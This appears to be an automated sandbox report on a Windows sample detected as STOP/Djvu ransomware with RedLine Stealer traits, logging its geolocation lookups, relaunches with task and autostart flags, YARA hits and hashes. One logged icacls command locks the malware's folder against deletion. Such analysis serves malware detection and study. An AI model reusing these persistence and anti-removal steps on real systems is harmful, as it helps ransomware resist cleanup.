2025-01-09 20:16:30 UTC	155	IN	Data Raw: 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-09 20:16:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.80.1	443	7416	C:\Users\user\Desktop\n41dQbiw1Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 20:16:32 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-09 20:16:32 UTC	1100	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 20:16:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4l9LiciPwGcZUkzr3FMVhpBVNIfTbaLluRCoq1bTh%2BggtYk1kZcEMb448eBNjeaohjQDEKMYWJS8mziIMdIhui1Df4hwL%2B6QWeDr4mdK8QHPwVIiZC7dGboTKDqI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff71b095e507d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2013&min_rtt=2005&rtt_var=769&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2809&recv_bytes=723&delivery_rate=1408586&cwnd=244&unsent_bytes=0&cid=a422bb8b9cd0fa75&ts=421&x=0"
2025-01-09 20:16:32 UTC	269	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-09 20:16:32 UTC	150	IN	Data Raw: 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: \u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-09 20:16:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.80.1	443	7476	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 20:16:32 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-09 20:16:33 UTC	1104	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 20:16:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g1MQ91QLUo4ZtvL3%2BFSiRDakYY%2FGGF3dGKpe5tlHG4SRAnGFLvQLJZk6YT9hlR1eAQJXjlyZuSG8LS%2B2yKp6ON%2FqcNjLPw7WsTpTb8MomzWyrp6rewohOuh3o4jD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff71b0e3c4e43ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1683&rtt_var=643&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2809&recv_bytes=723&delivery_rate=1684939&cwnd=225&unsent_bytes=0&cid=4f474606f1189a34&ts=427&x=0"
2025-01-09 20:16:33 UTC	265	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-09 20:16:33 UTC	154	IN	Data Raw: 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: 0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-09 20:16:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	104.21.80.1	443	7664	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 20:16:44 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-09 20:16:44 UTC	1104	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 20:16:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rK17T1KDSBc8X6ETmMp7dl0vn%2FejvltkGsrZg8gbkpSNql5wwvxb5cUULFzTOp%2F8vv15deZcZn32B67wtsm8mPA%2F67oSz2GGsXvG4RwIjjt1CcHrkwdZv%2BKvZrDU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff71b5459d7c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1698&rtt_var=652&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2809&recv_bytes=723&delivery_rate=1657207&cwnd=244&unsent_bytes=0&cid=5bd694faefad67b0&ts=433&x=0"
2025-01-09 20:16:44 UTC	265	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-09 20:16:44 UTC	154	IN	Data Raw: 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: 0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-09 20:16:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	57797	104.21.80.1	443	7880	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 20:16:52 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-09 20:16:52 UTC	1110	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 20:16:52 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BSHCQz%2F0sHwQB0thvaCKTmrlcVgGV7W18Hh%2BPty4tGydwaXWN6cLYUDHkVtwc40dAqQ%2Fofd7CRBGxr0tE4mIVl2jONdEgd%2BnqbVDVLSvT3BVt%2F%2BAE5Dqd0sfAgt9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff71b881c527d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=1989&rtt_var=778&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2809&recv_bytes=723&delivery_rate=1468074&cwnd=244&unsent_bytes=0&cid=4f649219565f8748&ts=392&x=0"
2025-01-09 20:16:52 UTC	259	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-09 20:16:52 UTC	160	IN	Data Raw: 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: 44e-\u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-09 20:16:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:16:28
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n41dQbiw1Y.exe"
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:16:28
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n41dQbiw1Y.exe"
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:16:29
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xd50000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:16:29
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1682775569.0000000004197000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:16:30
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:16:31
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1690777930.0000000004293000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:16:31
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:16:42
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1802187724.0000000004162000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:16:42
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:16:50
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.1885798926.0000000004192000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:16:51
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Imagebase:	0x400000
File size:	836'608 bytes
MD5 hash:	0511A0C819ADE47392A2F3A51EAF1F0B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 043F0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 043F0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 043F016C
